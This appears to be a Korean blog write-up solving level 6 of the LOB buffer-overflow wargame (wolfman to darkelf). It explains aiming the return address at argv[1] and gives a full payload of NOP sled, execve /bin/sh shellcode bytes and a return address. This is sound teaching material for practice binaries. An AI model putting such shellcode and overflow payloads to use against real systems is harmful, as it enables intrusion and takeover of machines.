R4mbb
LOB - level6 [wolfman -> darkelf] 본문
이전 문제들과 비슷하지만, 인자의 길이가 "\xbf" 검사한 뒤 더 이상 인자가 오면 안된다.
그렇다면 이런식으로 페이로드를 짤 수 있을 것 같다.
dummy[19] + "shell"[25] + shell_addr[4]
여기서 이전과 달라진 점은 shell_addr에 들어가는 주소는 buffer의 주소가 아니다.
정확하게는 buffer에 복사되기전의 argv[1]의 인접 주소이다.
이렇게 된다면 buffer의 내부가 비워져도 argv[1]의 shellcode를 사용할 수 있게 된다.
페이로드를 짜보자.
빨간색 칸이 argv[1]의 주소이다.
최종 페이로드는 이렇게 된다.
"\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x1c\xfc\xff\xbf"
이렇게 보내면 된다.
dhk~~
'Write-up > LOB' 카테고리의 다른 글
LOB - level8 [orge -> troll] (0) | 2021.05.24 |
---|---|
LOB - level7 [darkelf -> orge] (0) | 2021.05.21 |
LOB - level5 [orc -> wolfman] (0) | 2021.05.20 |
LOB - level4 [goblin -> orc] (0) | 2021.05.20 |
LOB - level3 [cobolt -> goblin] (0) | 2021.05.20 |